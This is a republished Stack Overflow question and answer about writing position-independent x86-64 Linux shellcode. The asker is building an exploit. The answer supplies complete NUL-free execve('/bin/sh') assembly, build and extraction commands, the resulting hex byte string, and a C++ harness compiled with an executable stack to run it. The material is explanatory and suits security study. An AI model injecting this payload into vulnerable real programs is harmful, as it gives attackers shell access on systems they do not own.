Pointer to string in stand-alone binary code without .data section

别来无恙 提交于 2021-02-04 19:43:06

问题


I'm trying to write kind of exploit and have a problem with making my asm code run anywhere on the stack. Here's it:

BITS 64

global _start
_start:

  mov rax, 59

  jmp short file
  c1:
  pop rdi

  jmp short argv
  c2:
  pop rsi

  mov rdx, 0

  syscall
  ret

file:

  call c1
  db '/bin/sh',0

argv:

  call c2
  dq arg, 0  <- problem

arg:

  db 'sh',0

This code won't work anywhere on the stack due to selected line because this code can be executed anywhere on the stack so nasm can't correctly compute arg's address. (This is a followup to shellcode calls different syscall while runing alone as individiual code and while running with C++ code where that was the problem.)

I've easily replaced strings with jmp/call/pop trick but still have a problem with pointer to string.


回答1:


In 64-bit code you don't need the JMP/CALL/POP method since you have the ability to use RIP relative addressing. Your code also inserts unwanted NUL bytes in the string with instructions like mov rdx, 0. For shellcode that will be inserted as strings you need to use a set of instructions that doesn't introduce a NUL as that can prematurely end the string depending on how it is injected into exploitable program.

execve is defined as:

execve - execute program

int execve(const char *pathname, char *const argv[],
           char *const envp[]);

argv is an array of argument strings passed to the new program. By convention, the first of these strings (i.e., argv[0]) should contain the filename associated with the file being executed. envp is an array of strings, conventionally of the form key=value, which are passed as environment to the new program. The argv and envp arrays must each include a null pointer at the end of the array.

If not using envp you can pass a NULL. argv needs to be a NULL terminated list of pointers to strings. In your case you are trying to generate the equivalent of the C code:

#include <unistd.h>
int main()
{
    char pathname[] = "/bin/sh";
    char *argv[] = { pathname, NULL };
    execve (pathname, argv, NULL);
    return 0;
}

You can do this entirely on the stack in assembly code that can be run as a shellcode. The following code builds the /bin/sh string on the stack and points RDI (pathname) to it. It then builds the NULL terminated argv list by pushing a NULL on the stack and the value in RDI is pushed. RSI is then set to the argv list on the stack. RDX is zeroed so the envp list is NULL. The execve (syscall 59) is then invoked. I create a shellcode.asm assembly file with:

BITS 64

global _start
_start:
    ; Build pathname on the stack
    sub rsp, 8                ; Allocate space for the pathname on the stack
    mov rdi, rsp              ; Set RDI to the space that will hold the pathname
    mov dword [rsp], '/bin'   ; Move the first 4 characters of the path into pathname
    mov dword [rsp+4], '/sh.' ; Move the last 4 characters of the path into pathname
                              ;     The '.' character will be replaced with a NUL byte
    xor eax, eax              ; Zero RAX
    mov [rsp+7], al           ; Terminate pathname by replacing the period with 0

    ; Build NULL terminated argv list on the stack
    push rax                  ; NULL terminator
    push rdi                  ; Pointer to pathname
    mov rsi, rsp              ; Point RSI to the argv array

    xor edx, edx              ; RDX = NULL(0) (we don't have an envp list)
    mov al, 59                ; 59 = execve system call number
    syscall                   ; Do the execve system call

Build it into a binary executable with:

nasm -f elf64 shellcode.asm -o shellcode.o
gcc -nostartfiles shellcode.o -o shellcode

Running ./shellcode should produce a Linux shell prompt. Next convert the standalone executable to a shell string binary called shellcode.bin and then convert it to a HEX string with HEXDUMP:

objcopy -j.text -O binary shellcode shellcode.bin
hexdump -v -e '"\\""x" 1/1 "%02x" ""' shellcode.bin

The output from the HEXDUMP should be:

\x48\x83\xec\x08\x48\x89\xe7\xc7\x04\x24\x2f\x62\x69\x6e\xc7\x44\x24\x04\x2f\x73\x68\x2e\x31\xc0\x88\x44\x24\x07\x50\x57\x48\x89\xe6\x31\xd2\xb0\x3b\x0f\x05

Note: There are no NUL (\x00) in the output.

Insert the string into your exploitable C++ program call exploit.cpp:

int main(void)
{
    char shellstr[]="\x48\x83\xec\x08\x48\x89\xe7\xc7\x04\x24\x2f\x62\x69\x6e\xc7\x44\x24\x04\x2f\x73\x68\x2e\x31\xc0\x88\x44\x24\x07\x50\x57\x48\x89\xe6\x31\xd2\xb0\x3b\x0f\x05";
    reinterpret_cast<void(*)()>(shellstr)();

    return 0;
}

Compile it to the program exploit with an executable stack:

g++ -Wl,-z,execstack exploit.cpp -o exploit

When run with ./exploit it should present a Linux shell prompt. strace ./exploit should output this for the execve system call:

execve("/bin/sh", ["/bin/sh"], NULL) = 0



来源:https://stackoverflow.com/questions/57293738/pointer-to-string-in-stand-alone-binary-code-without-data-section

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!